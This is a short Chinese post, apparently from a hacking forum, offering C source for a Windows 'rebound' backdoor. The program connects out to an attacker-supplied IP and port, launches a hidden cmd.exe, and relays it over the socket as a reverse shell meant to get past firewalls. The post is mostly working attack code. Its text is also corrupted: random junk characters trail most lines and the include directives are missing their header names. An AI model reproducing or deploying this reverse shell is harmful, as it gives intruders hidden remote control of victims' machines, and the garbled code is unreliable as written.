这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mf^=tZ
@0S3`[/U
/* ============================== dq}60
Rebound port in Windows NT fOs"\Y4
By wind,2006/7 ?4GI19j
===============================*/ "E =\Vz
#include lS&$86Jo(
#include 'yu M=Pb
n>T1KC%
#pragma comment(lib,"wsock32.lib") 484lB}H
gswp:82e2
void OutputShell(); ~( 54-9&
SOCKET sClient; ;3wj(o0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P#m/b<
# Y/.%ch.
void main(int argc,char **argv) FTZ][
{ &rj3UF@hb
WSADATA stWsaData; }YH@T]O}
int nRet; l=G=J( G
SOCKADDR_IN stSaiClient,stSaiServer; !_P;4E
Nn5z
if(argc != 3) 1:%HE*r
{ /R7qR#
printf("Useage:\n\rRebound DestIP DestPort\n"); GP6-5Y"8
return; }JyWy_Y
} m&(yx|a4+
|d\rCq >
WSAStartup(MAKEWORD(2,2),&stWsaData); l ps
6lnh
VDq4n;p1
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k$1ya7-@
H. U wM
stSaiClient.sin_family = AF_INET; *F|j%]k~
stSaiClient.sin_port = htons(0); *NzHY;e
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z".mEF-b
!mLQdkTE
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `oQ)qa_
{ V~ph1Boz2
printf("Bind Socket Failed!\n"); @| kBc.(]
return; $Ay
j4|_-
} o%_MTCANy
9|#YKO\\i
stSaiServer.sin_family = AF_INET; 1~/?W^ir
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {a-bew
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lIPy)25~
Sp8Xka~5*#
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
d1$3~Xl]
{ fZ!fwg$
printf("Connect Error!"); iy_'D
return; 0?59o!@h
} A??(}F L
OutputShell(); ma@3BiM
} #Bq.'?c'~
.zxP,]"l
void OutputShell() aVsA5t\zi
{ ip6$Z3[)
char szBuff[1024]; oo sbf#V
SECURITY_ATTRIBUTES stSecurityAttributes; _):V7Zv
OSVERSIONINFO stOsversionInfo; Y
Y4"r\V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E=!=4"rZF
STARTUPINFO stStartupInfo; $@k[Xh
char *szShell; 8;2UP`8s ?
PROCESS_INFORMATION stProcessInformation; *c'nPa$+|S
unsigned long lBytesRead;
j.UQLi&`
NMq#D$T
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <%WN<T{q|
Z@ AHe`A
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $t.i)wg +
stSecurityAttributes.lpSecurityDescriptor = 0; ^3B)i=
stSecurityAttributes.bInheritHandle = TRUE; &<8Q/m]5
H{Tt>k
<X9 T}g
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {.c(Sw}Eo
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *h6Lh]7
QH%Zbt2qS
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F&?55@b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e45gjjts
stStartupInfo.wShowWindow = SW_HIDE; i
oCoFj
stStartupInfo.hStdInput = hReadPipe; jM`)Nd
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P&PPX#%
{;.q?mj
GetVersionEx(&stOsversionInfo); #D8Z~U,-
E#3KWp#M
switch(stOsversionInfo.dwPlatformId) ]iu}5]?)
{ l!VPk"s
case 1: g%()8QxE1
szShell = "command.com"; l(X8 cHAi
break; BxR%\
default: z"/Mva3|
szShell = "cmd.exe"; 4u}"ng
break; |GPR3%9
} 27mGX\T
O:02LHE
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |<nS<x
B&^WRM;7t
send(sClient,szMsg,77,0); ke.{wh\0
while(1) VrL==aTYXs
{ .XPcH(q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gp07I{0~m
if(lBytesRead) v@zpF)|
{ "E`;8SZa
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %ux%=@%
send(sClient,szBuff,lBytesRead,0); QoZ7l]^
} -dX{ R_*
else |Z%I3-z_DS
{ Xk#"rM< Y
lBytesRead=recv(sClient,szBuff,1024,0); @\-i3EhR
if(lBytesRead<=0) break; J6x#c`Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yn&AMq
]o
} Z4YQ5O5
} >~O36q^w
Cj~45)r
return; v(ABZNIn
}